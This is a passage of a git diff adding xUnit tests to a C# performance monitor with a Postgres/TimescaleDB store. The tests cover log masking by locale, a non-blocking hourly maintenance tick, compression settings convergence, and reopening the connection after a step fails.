+        Assert.Equal(expected, StoreLogClassifier.MaskRowValues(detail));
+    }
+
+    [Fact]
+    public void MaskEntry_KeepsNoDetail_WhenTheStoresMessagesAreNotEnglish()
+    {
+        var raw = DefaultPrefix + "ERROR:  duplicate key value violates unique constraint \"config_monitored_servers_name_key\"\n"
+            + DefaultPrefix + "DETAIL:  Key (name)=(prod-1) already exists.\n"
+            + DefaultPrefix + "STATEMENT:  SELECT 1";
+
+        var english = StoreLogClassifier.MaskEntry(raw, cut: false, detailInEnglish: true);
+        Assert.Contains("DETAIL:  Key (name)=(...) already exists.", english, StringComparison.Ordinal);
+        Assert.Equal(StoreLogClassifier.MaskEntry(raw), english);
+
+        var other = StoreLogClassifier.MaskEntry(raw, cut: false, detailInEnglish: false);
+        Assert.DoesNotContain("prod-1", other, StringComparison.Ordinal);
+        Assert.Contains("DETAIL:  " + StoreLogClassifier.WithheldDetail, other, StringComparison.Ordinal);
+        Assert.Contains("violates unique constraint", other, StringComparison.Ordinal);
+        Assert.Equal(other, StoreLogClassifier.MaskEntry(other, cut: false, detailInEnglish: false));
+    }
+
+    [Fact]
+    public void Classify_KeepsNoDetailInTheSample_WhenTheStoresMessagesAreNotEnglish()
+    {
+        var slab = DefaultPrefix + "ERROR:  duplicate key value violates unique constraint \"config_monitored_servers_name_key\"\n"
+            + DefaultPrefix + "DETAIL:  Key (name)=(prod-1) already exists.\n";
+
+        var english = StoreLogClassifier.Classify(slab);
+        var other = StoreLogClassifier.Classify(slab, detailInEnglish: false);
+
+        Assert.Contains(english.Groups, g => g.SampleLine?.Contains("Key (name)=(...)", StringComparison.Ordinal) == true);
+        Assert.DoesNotContain(other.Groups, g => g.SampleLine?.Contains("prod-1", StringComparison.Ordinal) == true);
+        Assert.Contains(other.Groups, g => g.SampleLine?.Contains(StoreLogClassifier.WithheldDetail, StringComparison.Ordinal) == true);
+    }
+
+    [Theory]
+    [InlineData("C", true)]
+    [InlineData("POSIX", true)]
+    [InlineData("C.UTF-8", true)]
+    [InlineData("en_US.UTF-8", true)]
+    [InlineData("English_United States.1252", true)]
+    [InlineData("ja_JP.UTF-8", false)]
+    [InlineData("es_ES.UTF-8", false)]
+    [InlineData("German_Germany.1252", false)]
+    [InlineData("", false)]
+    [InlineData(null, false)]
+    public void IsEnglishLcMessages_ReadsTheLocaleName(string? value, bool expected)
+    {
+        Assert.Equal(expected, StoreLogClassifier.IsEnglishLcMessages(value));
+    }
+
+    [Fact]
+    public void TheSweep_ReadsTheStoresMessageLocaleOnce_AndPassesItToTheClassifier()
+    {
+        var sweep = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "StoreLogSweep.cs");
+
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(sweep, "SHOW lc_messages"));
+        Assert.Contains("StoreLogClassifier.Classify(slab.Text, detailInEnglish)", sweep, StringComparison.Ordinal);
+        Assert.Contains("StoreLogClassifier.IsEnglishLcMessages(value as string)", sweep, StringComparison.Ordinal);
+        Assert.Contains("catch (Exception ex) when (ex is not OperationCanceledException)", sweep[sweep.IndexOf("SHOW lc_messages", StringComparison.Ordinal)..], StringComparison.Ordinal);
+    }
+
     private static string Render(string prefix, IEnumerable<string> messages)
     {
         var slab = new StringBuilder();
diff --git a/Darling/Darling.Tests/StoreLogSeverityLocaleTests.cs b/Darling/Darling.Tests/StoreLogSeverityLocaleTests.cs
index 3b99cae516..7874484adf 100644
--- a/Darling/Darling.Tests/StoreLogSeverityLocaleTests.cs
+++ b/Darling/Darling.Tests/StoreLogSeverityLocaleTests.cs
@@ -291,7 +291,7 @@ private static string ManagedConfBlocks()
 
     /// <summary>A stand-in value for a conf factory's parameter, or a failure naming the signature this scan
     /// cannot fill — never a skip, which would drop the block from the scan without saying so.</summary>
-    private static object Placeholder(MethodInfo factory, ParameterInfo parameter)
+    private static object? Placeholder(MethodInfo factory, ParameterInfo parameter)
     {
         if (parameter.ParameterType == typeof(int))
         {
@@ -311,6 +311,15 @@ still fails loudly here rather than being fed a value that means nothing to it.
             return "timescaledb";
         }
 
+        /* #5459: BuildWalSizingConfAppend restates the max_wal_size already in force so a restart near a WAL size
+           step does not rewrite the file. A fresh store has no file in force, and that is the path the block's text
+           comes from, so null is the right stand-in. Keyed on type and name, so a different long? parameter still
+           fails loudly here. */
+        if (parameter.ParameterType == typeof(long?) && parameter.Name == "inForceMaxWalSizeMb")
+        {
+            return null;
+        }
+
         Assert.Fail(
             $"{factory.Name} takes a {parameter.ParameterType.Name} parameter '{parameter.Name}' this scan cannot "
             + "supply, so its block would go unscanned. Extend the placeholders rather than excluding the block.");
diff --git a/Darling/Darling.Tests/StoreMaintenanceTickLaunchTests.cs b/Darling/Darling.Tests/StoreMaintenanceTickLaunchTests.cs
new file mode 100644
index 0000000000..604419b812
--- /dev/null
+++ b/Darling/Darling.Tests/StoreMaintenanceTickLaunchTests.cs
@@ -0,0 +1,269 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4970: the hourly store-maintenance tick (availability re-probe, compression job health, retention
+/// re-evaluation, store-object convergence) used to be awaited inline in the collection launch loop, so a
+/// slow pass held every sweep launch back once an hour. It now runs as a tracked background task, one at a
+/// time, through <see cref="DarlingWorker.TryStartStoreMaintenanceTick"/>. A never-signalled
+/// <see cref="TaskCompletionSource"/> stands in for the tick so "does not await" and "still running" are
+/// directly observable.
+/// </summary>
+public sealed class StoreMaintenanceTickLaunchTests
+{
+    private static (DarlingWorker Worker, RecordingLogger Logger) MakeWorker()
+    {
+        var logger = new RecordingLogger();
+        var worker = new DarlingWorker(
+            logger,
+            NullLoggerFactory.Instance,
+            new McpRuntimeState(),
+            new WebRuntimeState(),
+            new MonitoredServerRegistryState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache(),
+            new ReadLatencyAccumulator());
+        return (worker, logger);
+    }
+
+    [Fact]
+    public void TheLaunchLoop_DoesNotAwaitTheHourlyTenantsInline()
+    {
+        var worker = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var start = worker.IndexOf("while (!stoppingToken.IsCancellationRequested)", StringComparison.Ordinal);
+        var drain = worker.IndexOf("Shutdown drain for the fire-and-track bodies", StringComparison.Ordinal);
+        Assert.True(start >= 0 && drain > start, "could not locate the launch loop span");
+        var loop = worker[start..drain];
+
+        foreach (var inline in new[]
+                 {
+                     "await ReprobeTimescaleAvailabilityAsync",
+                     "await EvaluateCompressionJobHealthAsync",
+                     "await ReevaluateRetentionPoliciesAsync",
+                     "await ConvergeStoreObjectsAsync",
+                     "await SweepStoreSelfMetricsAsync",
+                     "_selfAlerts.EvaluateCollectorCostAsync",
+                     "_selfAlerts.EvaluateToastSlackAsync",
+                     "_selfAlerts.EvaluateCheckpointerPressureAsync",
+                     "_selfAlerts.EvaluateFleetSweepRollupAsync",
+                     "_selfAlerts.EvaluateAnalysisSinglesDigestAsync",
+                 })
+        {
+            Assert.DoesNotContain(inline, loop, StringComparison.Ordinal);
+        }
+
+        Assert.Contains("TryStartStoreMaintenanceTick(", loop, StringComparison.Ordinal);
+        Assert.Contains("TryStartStoreMetricsTick(", loop, StringComparison.Ordinal);
+
+        /* The deadlock re-mask key is assigned on the loop, ahead of the launch. */
+        var key = loop.IndexOf("_pgDeadlockRemaskKey = runner.LogHashKey;", StringComparison.Ordinal);
+        Assert.True(key >= 0 && key < loop.IndexOf("TryStartStoreMetricsTick(", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheMetricsLauncher_TakesTheWindowOnlyWhenItLaunches_AndDefersBehindMaintenance()
+    {
+        var worker = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs")
+            .ReplaceLineEndings("\n");
+        var launcher = worker.IndexOf("internal bool TryStartStoreMetricsTick(", StringComparison.Ordinal);
+        Assert.True(launcher > 0);
+        var end = worker.IndexOf("\n    }\n", launcher, StringComparison.Ordinal);
+        var body = worker[launcher..end];
+        var defer = body.IndexOf("_storeMaintenanceTick is { IsCompleted: false }", StringComparison.Ordinal);
+        var stamp = body.IndexOf("_nextStoreMetricsUtc = NextGridStamp(_nextStoreMetricsUtc, nowUtc, s_storeMetricsInterval);", StringComparison.Ordinal);
+        var window = body.IndexOf("takeWindow()", StringComparison.Ordinal);
+        var launch = body.IndexOf("RunTrackedTickAsync(", StringComparison.Ordinal);
+        Assert.True(defer >= 0 && stamp > defer && window > stamp && launch > window, "defer < stamp < window < launch");
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(worker, @"_checkpointSyncSampler\.TakeWindowMax"));
+    }
+
+    private static DateTime NextStoreMetrics(DarlingWorker w) =>
+        (DateTime)typeof(DarlingWorker).GetField("_nextStoreMetricsUtc", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic)!.GetValue(w)!;
+
+    private static readonly DateTime Now = new(2026, 10, 2, 12, 34, 5, DateTimeKind.Utc);
+
+    [Fact]
+    public void MetricsLauncher_ReturnsImmediately_WhileTheTickIsStillRunning()
+    {
+        var (worker, _) = MakeWorker();
+        var gate = new TaskCompletionSource();
+        Assert.True(worker.TryStartStoreMetricsTick(Now, () => null, (_, _) => gate.Task, CancellationToken.None));
+        gate.SetResult();
+    }
+
+    [Fact]
+    public void MetricsLauncher_DoesNotStartASecondTick_ButAdvancesTheStamp_AndWarns()
+    {
+        var (worker, logger) = MakeWorker();
+        var gate = new TaskCompletionSource();
+        Assert.True(worker.TryStartStoreMetricsTick(Now, () => null, (_, _) => gate.Task, CancellationToken.None));
+        var taken = 0;
+        var secondRan = false;
+        var second = worker.TryStartStoreMetricsTick(
+            Now.AddHours(1), () => { taken++; return null; }, (_, _) => { secondRan = true; return Task.CompletedTask; }, CancellationToken.None);
+
+        Assert.False(second);
+        Assert.False(secondRan);
+        Assert.Equal(0, taken);
+        Assert.True(NextStoreMetrics(worker) > Now);
+        Assert.Contains(logger.Entries, e => e.Level == LogLevel.Warning && e.Message.Contains("skipping this hour", StringComparison.Ordinal));
+        gate.SetResult();
+    }
+
+    [Fact]
+    public async Task MetricsLauncher_StartsTheNextTick_AfterTheFirstCompletes()
+    {
+        var (worker, _) = MakeWorker();
+        var gate = new TaskCompletionSource();
+        Assert.True(worker.TryStartStoreMetricsTick(Now, () => null, (_, _) => gate.Task, CancellationToken.None));
+        gate.SetResult();
+        await Task.Delay(TimeSpan.FromMilliseconds(50));
+
+        var secondRan = false;
+        Assert.True(worker.TryStartStoreMetricsTick(
+            Now.AddHours(1), () => null, (_, _) => { secondRan = true; return Task.CompletedTask; }, CancellationToken.None));
+        await Task.Delay(TimeSpan.FromMilliseconds(50));
+        Assert.True(secondRan);
+    }
+
+    [Fact]
+    public async Task AFaultingMetricsTick_IsObservedAndDoesNotBlockTheNext()
+    {
+        var (worker, logger) = MakeWorker();
+        Assert.True(worker.TryStartStoreMetricsTick(
+            Now, () => null, (_, _) => throw new InvalidOperationException("boom"), CancellationToken.None));
+        await Task.Delay(TimeSpan.FromMilliseconds(50));
+
+        Assert.Contains(logger.Entries, e => e.Level == LogLevel.Error && e.Exception is InvalidOperationException);
+        Assert.True(worker.TryStartStoreMetricsTick(Now.AddHours(1), () => null, (_, _) => Task.CompletedTask, CancellationToken.None));
+    }
+
+    [Fact]
+    public void DefersStoreMetrics_WhileTheMaintenanceTickRuns()
+    {
+        var (worker, _) = MakeWorker();
+        var gate = new TaskCompletionSource();
+        Assert.True(worker.TryStartStoreMaintenanceTick(_ => gate.Task, CancellationToken.None));
+        var before = NextStoreMetrics(worker);
+        var taken = 0;
+        var ran = false;
+
+        var launched = worker.TryStartStoreMetricsTick(
+            Now, () => { taken++; return null; }, (_, _) => { ran = true; return Task.CompletedTask; }, CancellationToken.None);
+
+        /* Deferred: no launch, the window is not taken, and the stamp is unmoved so the next 15 s pass retries. */
+        Assert.False(launched);
+        Assert.False(ran);
+        Assert.Equal(0, taken);
+        Assert.Equal(before, NextStoreMetrics(worker));
+
+        gate.SetResult();
+    }
+
+    [Fact]
+    public void ReturnsImmediately_WhileTheTickIsStillRunning()
+    {
+        var (worker, _) = MakeWorker();
+        var gate = new TaskCompletionSource();
+
+        /* The gate is never signalled: returning at all proves the launcher did not await the tick. */
+        Assert.True(worker.TryStartStoreMaintenanceTick(_ => gate.Task, CancellationToken.None));
+
+        gate.SetResult();
+    }
+
+    [Fact]
+    public void DoesNotStartASecondTick_WhileTheFirstIsRunning()
+    {
+        var (worker, logger) = MakeWorker();
+        var gate = new TaskCompletionSource();
+        var secondRan = false;
+
+        Assert.True(worker.TryStartStoreMaintenanceTick(_ => gate.Task, CancellationToken.None));
+        var second = worker.TryStartStoreMaintenanceTick(
+            _ =>
+            {
+                secondRan = true;
+                return Task.CompletedTask;
+            },
+            CancellationToken.None);
+
+        Assert.False(second);
+        Assert.False(secondRan);
+        Assert.Contains(logger.Entries, e => e.Level == LogLevel.Warning && e.Message.Contains("skipping this hour", StringComparison.Ordinal));
+
+        gate.SetResult();
+    }
+
+    [Fact]
+    public async Task StartsTheNextTick_AfterTheFirstCompletes()
+    {
+        var (worker, _) = MakeWorker();
+        var gate = new TaskCompletionSource();
+        Assert.True(worker.TryStartStoreMaintenanceTick(_ => gate.Task, CancellationToken.None));
+        gate.SetResult();
+        await Task.Delay(TimeSpan.FromMilliseconds(50));
+
+        var secondRan = false;
+        Assert.True(worker.TryStartStoreMaintenanceTick(
+            _ =>
+            {
+                secondRan = true;
+                return Task.CompletedTask;
+            },
+            CancellationToken.None));
+        await Task.Delay(TimeSpan.FromMilliseconds(50));
+        Assert.True(secondRan);
+    }
+
+    [Fact]
+    public async Task AFaultingTick_IsObservedAndDoesNotBlockTheNext()
+    {
+        var (worker, logger) = MakeWorker();
+        Assert.True(worker.TryStartStoreMaintenanceTick(
+            _ => throw new InvalidOperationException("boom"), CancellationToken.None));
+        await Task.Delay(TimeSpan.FromMilliseconds(50));
+
+        Assert.Contains(logger.Entries, e => e.Level == LogLevel.Error && e.Exception is InvalidOperationException);
+        Assert.True(worker.TryStartStoreMaintenanceTick(_ => Task.CompletedTask, CancellationToken.None));
+    }
+
+    private sealed class RecordingLogger : ILogger<DarlingWorker>
+    {
+        public List<(LogLevel Level, string Message, Exception? Exception)> Entries { get; } = [];
+
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+            Func<TState, Exception?, string> formatter)
+        {
+            lock (Entries)
+            {
+                Entries.Add((logLevel, formatter(state, exception), exception));
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StoreObjectConvergenceTests.cs b/Darling/Darling.Tests/StoreObjectConvergenceTests.cs
index b7c4da166f..bca4a57ef2 100644
--- a/Darling/Darling.Tests/StoreObjectConvergenceTests.cs
+++ b/Darling/Darling.Tests/StoreObjectConvergenceTests.cs
@@ -598,6 +598,7 @@ await Assert.ThrowsAsync<OperationCanceledException>(() => DarlingWorker.RunStor
 /// (the positive control, without which "zero" could mean the log was not recording). The figures are in
 /// the PR body; what lives here is the shape that keeps them true.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class CompressionEnableGuardTests
 {
     /// <summary>
@@ -617,6 +618,12 @@ public void TheGuardsRead_AsksForEnabledAndSegmentBy_FromTheLongStableView_Scope
         Assert.Contains("cs.segmentby_column_index IS NOT NULL", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("hypertable_compression_settings", sql, StringComparison.Ordinal);
 
+        /* The columns are joined with the separator the statement writes them with (#4951: collection_log's
+           segmentby has two columns), so a converged two-column setting reads back exactly as it was written.
+           Any other separator would read every converged pass as "not converged" and re-issue the ALTER, and its
+           ACCESS EXCLUSIVE lock, every hour. */
+        Assert.Contains("string_agg(cs.attname, ', ' ORDER BY cs.segmentby_column_index)", sql, StringComparison.Ordinal);
+
         /* Scoped, for the reason CompressionPolicyStateSql gives: a bring-your-own store may carry its own
            wait_stats hypertable in another schema, and this product must not read — let alone ALTER — it. */
         Assert.Contains("h.hypertable_schema = 'collect'", sql, StringComparison.Ordinal);
@@ -642,6 +649,12 @@ public void TheStatementAndTheComparison_ShareOneSegmentByConstant()
             TimescaleSupport.EnableCompressionSql("query_stats"),
             StringComparison.Ordinal);
 
+        /* #4951: collection_log alone segments by collector as well, and every other table keeps server_id. */
+        Assert.Contains(
+            "timescaledb.compress_segmentby = 'server_id, collector_name'",
+            TimescaleSupport.EnableCompressionSql("collection_log"),
+            StringComparison.Ordinal);
+
         /* The two halves are tied THROUGH the constant, not through a shared spelling: the statement
            interpolates it, and the guard compares against it. Both are asserted on the SOURCE, because a
            rendered statement cannot tell you whether the name came from the constant or from a literal that
@@ -652,11 +665,13 @@ happens to agree with it today — which is the whole failure mode. A file-wide
         var raw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs");
         /* The statement's half is read off the RAW source: the interpolation lives inside a string literal,
            which StripCommentsAndStrings blanks by design. */
-        Assert.Contains("timescaledb.compress_segmentby = '{CompressionSegmentByColumn}'", raw, StringComparison.Ordinal);
+        /* #4951: the value is per table now (collection_log has its own), so both halves go through the one
+           per-table lookup rather than the shared column constant. */
+        Assert.Contains("timescaledb.compress_segmentby = '{CompressionSegmentByFor(table)}'", raw, StringComparison.Ordinal);
         /* The guard's half is code, so it is read off the stripped source — prose about the comparison is not
            the comparison. */
         Assert.Contains(
-            "string.Equals(segmentBy, CompressionSegmentByColumn, StringComparison.Ordinal)",
+            "string.Equals(segmentBy, CompressionSegmentByFor(table), StringComparison.Ordinal)",
             CSharpSourceWalker.StripCommentsAndStrings(raw),
             StringComparison.Ordinal);
     }
@@ -706,6 +721,29 @@ applies to it as much as to the collector tables. */
         Assert.Contains("ReadTablesNeedingCompressionEnableAsync(connection, logger, cancellationToken);", collectionLog, StringComparison.Ordinal);
         Assert.Contains("if (converged is null || !converged.Contains(CollectionLogTable))", collectionLog, StringComparison.Ordinal);
 
+        /* #4951: and collection_log's ALTER goes only through the bounded helper, which runs it inside its own
+           transaction and treats a lock it could not get as "try next pass" (the live
+           CollectionLogSegmentByLiveTests prove the wait is bounded; this keeps the shape in the unit tier). */
+        Assert.Contains("TryRunBoundedDdlAsync(", collectionLog, StringComparison.Ordinal);
+        Assert.Contains("new[] { EnableCompressionSql(CollectionLogTable) }", collectionLog, StringComparison.Ordinal);
+        Assert.DoesNotContain("new NpgsqlCommand(EnableCompressionSql(CollectionLogTable)", collectionLog, StringComparison.Ordinal);
+
+        /* Below TimescaleDB 2.14 the change cannot run while compressed chunks exist, so the version check comes
+           first and the ALTER is not attempted there. No live tier here runs a TimescaleDB that old, so the order
+           is pinned in this one. */
+        var versionCheckAt = collectionLog.IndexOf("CollectionLogSettingsChangeBlockedAsync(connection, logger, cancellationToken)", StringComparison.Ordinal);
+        var alterAt = collectionLog.IndexOf("TryRunBoundedDdlAsync(", StringComparison.Ordinal);
+        Assert.True(versionCheckAt >= 0 && versionCheckAt < alterAt,
+            "EnsureCollectionLogHypertableAsync must check the TimescaleDB version and compressed chunks before it attempts the settings change");
+        Assert.Contains("BoundedDdlOutcome.LockBusy", collectionLog, StringComparison.Ordinal);
+        /* The label is a string literal, which the stripped text above cannot hold: read it from the raw source of the same method. */
+        var rawStorage = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "TimescaleSupport.cs").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var rawStart = rawStorage.IndexOf("public static async Task<bool> EnsureCollectionLogHypertableAsync(", StringComparison.Ordinal);
+        Assert.True(rawStart >= 0, "could not locate EnsureCollectionLogHypertableAsync in the raw source");
+        var rawEnd = rawStorage.IndexOf("\n    }\n", rawStart, StringComparison.Ordinal);
+        Assert.True(rawEnd > rawStart, "could not find the end of EnsureCollectionLogHypertableAsync in the raw source");
+        Assert.Contains("\"collection_log's compression settings\"", rawStorage[rawStart..rawEnd], StringComparison.Ordinal);
+
         /* A read failure must issue every ALTER rather than skip every ALTER: the conservative direction,
            because a needless ALTER costs one lock and a skipped one costs a table that never compresses.
            Both call sites treat null as "not converged", which is what the two conditions above encode. */
@@ -861,3 +899,114 @@ private static async Task ExecuteAsync(NpgsqlConnection connection, string sql,
         await command.ExecuteNonQueryAsync(ct);
     }
 }
+
+/// <summary>
+/// #5444, live: a convergence step whose failure makes Npgsql close the shared connection (XX000 is in the
+/// classes Npgsql 10 closes on) must not fail the steps behind it on the same connection.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StoreObjectConvergenceReopenLiveTests
+{
+    private static DarlingWorker.StoreObjectConvergenceStep Step(string name, Func<NpgsqlConnection, Task> body) =>
+        new(name, DarlingWorker.StoreObjectConvergenceStage.Timescale, DarlingWorker.StoreObjectChangeSignal.Delta,
+            async (c, _, _) => { await body(c); return 0; });
+
+    private static async Task ExecAsync(NpgsqlConnection c, string sql)
+    {
+        await using var cmd = new NpgsqlCommand(sql, c);
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    [Theory]
+    [InlineData("XX000", true)]
+    [InlineData("P0001", false)]
+    public async Task AStepThatBreaksTheConnection_DoesNotFailTheStepAfterIt_AgainstDevPostgres(string sqlState, bool breaksConnection)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live convergence reopen test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync(ct);
+            var logger = new CapturingTestLogger();
+            var tally = new DarlingWorker.StoreObjectConvergenceTally();
+            var stateAfterA = (System.Data.ConnectionState?)null;
+
+            var a = Step("step A", async c =>
+            {
+                try { await ExecAsync(c, $"DO $$ BEGIN RAISE EXCEPTION 'planted #5444' USING ERRCODE = '{sqlState}'; END $$"); }
+                catch { stateAfterA = c.State; throw; }
+            });
+            var bRan = false;
+            var b = Step("step B", async c => { await ExecAsync(c, "SELECT 1"); bRan = true; });
+
+            await DarlingWorker.RunStoreObjectConvergenceStepAsync(connection, a, tally, logger, ct);
+            await DarlingWorker.RunStoreObjectConvergenceStepAsync(connection, b, tally, logger, ct);
+
+            Assert.Equal(breaksConnection, stateAfterA != System.Data.ConnectionState.Open);
+            Assert.True(bRan, "step B must run on the reopened connection: " + logger.Joined);
+            Assert.Equal(new[] { "step A" }, tally.Failed);
+            Assert.Equal(2, tally.Steps);
+            Assert.Equal(System.Data.ConnectionState.Open, connection.State);
+            Assert.Equal(breaksConnection ? 1 : 0, logger.Lines.Count(l => l.Contains("it was reopened", StringComparison.Ordinal)));
+            Assert.DoesNotContain("Connection is not open", logger.Joined, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /// <summary>
+    /// The common shape: a step that isolates its own statements (as the reshape drop does) catches the
+    /// connection-breaking error and RETURNS normally with the connection closed. The runner must reopen it
+    /// anyway, so the next step runs, and the step is not counted failed because it did not throw.
+    /// </summary>
+    [Fact]
+    public async Task AStepThatSwallowsAConnectionBreakingError_StillLeavesAnOpenConnectionForTheNextStep_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live convergence reopen test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+        try
+        {
+            using var connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync(ct);
+            var logger = new CapturingTestLogger();
+            var tally = new DarlingWorker.StoreObjectConvergenceTally();
+            var stateAfterA = (System.Data.ConnectionState?)null;
+
+            var a = Step("step A", async c =>
+            {
+                try { await ExecAsync(c, "DO $$ BEGIN RAISE EXCEPTION 'planted #5444' USING ERRCODE = 'XX000'; END $$"); }
+                catch (PostgresException) { stateAfterA = c.State; }
+            });
+            var bRan = false;
+            var b = Step("step B", async c => { await ExecAsync(c, "SELECT 1"); bRan = true; });
+
+            await DarlingWorker.RunStoreObjectConvergenceStepAsync(connection, a, tally, logger, ct);
+            await DarlingWorker.RunStoreObjectConvergenceStepAsync(connection, b, tally, logger, ct);
+
+            Assert.NotEqual(System.Data.ConnectionState.Open, stateAfterA);
+            Assert.True(bRan, "step B must run on the reopened connection: " + logger.Joined);
+            Assert.Empty(tally.Failed);
+            Assert.Equal(2, tally.Steps);
+            Assert.Equal(System.Data.ConnectionState.Open, connection.State);
+            Assert.Equal(1, logger.Lines.Count(l => l.Contains("step 'step A' left the store connection closed; it was reopened", StringComparison.Ordinal)));
+            Assert.DoesNotContain("Connection is not open", logger.Joined, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StoreObjectHourlyStepSelectionTests.cs b/Darling/Darling.Tests/StoreObjectHourlyStepSelectionTests.cs
new file mode 100644
index 0000000000..e43e3ff64f
--- /dev/null
+++ b/Darling/Darling.Tests/StoreObjectHourlyStepSelectionTests.cs
@@ -0,0 +1,73 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The hourly convergence pass runs a step's <c>HourlyEnsureAsync</c> when it has one and the step's
+/// <c>EnsureAsync</c> otherwise; the start path always runs <c>EnsureAsync</c>. Each call runs its own
+/// delegate and not the other.
+/// </summary>
+public sealed class StoreObjectHourlyStepSelectionTests
+{
+    private static DarlingWorker.StoreObjectConvergenceStep Step(List<string> ran, bool withHourly) =>
+        new("fake ensure", DarlingWorker.StoreObjectConvergenceStage.Tuning, DarlingWorker.StoreObjectChangeSignal.InPlace,
+            (_, _, _) => { ran.Add("start"); return Task.FromResult(0); },
+            withHourly ? (_, _, _) => { ran.Add("hourly"); return Task.FromResult(0); } : null);
+
+    [Fact]
+    public async Task EachPass_RunsItsOwnDelegate_AndNotTheOther()
+    {
+        var ran = new List<string>();
+        var step = Step(ran, withHourly: true);
+        var logger = new CapturingTestLogger();
+        var ct = TestContext.Current.CancellationToken;
+
+        await DarlingWorker.RunStoreObjectConvergenceStepAsync(null!, step, new DarlingWorker.StoreObjectConvergenceTally(), logger, ct, hourly: true);
+        Assert.Equal(new[] { "hourly" }, ran);
+
+        ran.Clear();
+        await DarlingWorker.RunStoreObjectConvergenceStepAsync(null!, step, new DarlingWorker.StoreObjectConvergenceTally(), logger, ct);
+        Assert.Equal(new[] { "start" }, ran);
+    }
+
+    [Fact]
+    public async Task AStepWithNoHourlyDelegate_RunsItsEnsureOnTheHourlyPass()
+    {
+        var ran = new List<string>();
+        await DarlingWorker.RunStoreObjectConvergenceStepAsync(
+            null!, Step(ran, withHourly: false), new DarlingWorker.StoreObjectConvergenceTally(),
+            new CapturingTestLogger(), TestContext.Current.CancellationToken, hourly: true);
+        Assert.Equal(new[] { "start" }, ran);
+    }
+
+    [Fact]
+    public void TheHourlyTickPassesHourlyTrue_AndThePerformanceTuningStepCarriesAnHourlyDelegate()
+    {
+        var src = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs")
+            .ReplaceLineEndings("\n");
+
+        var start = src.IndexOf("private async Task ConvergeStoreObjectsAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = src.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        var body = src.Substring(start, end - start);
+        Assert.Contains("RunStoreObjectConvergenceStepAsync(connection, step, tally, _logger, budget.Token, hourly: true)", body, StringComparison.Ordinal);
+
+        var entry = src.IndexOf("new(\"composer performance tuning\"", StringComparison.Ordinal);
+        Assert.True(entry >= 0);
+        var entryEnd = src.IndexOf("\n    };", entry, StringComparison.Ordinal);
+        Assert.Contains("PgTableTuning.ApplyAsync(connection, logger, hourly: true, ct)", src.Substring(entry, entryEnd - entry), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/StoreQueryHistoryToolLiveTests.cs b/Darling/Darling.Tests/StoreQueryHistoryToolLiveTests.cs
new file mode 100644
index 0000000000..126e3afcee
--- /dev/null
+++ b/Darling/Darling.Tests/StoreQueryHistoryToolLiveTests.cs
@@ -0,0 +1,507 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
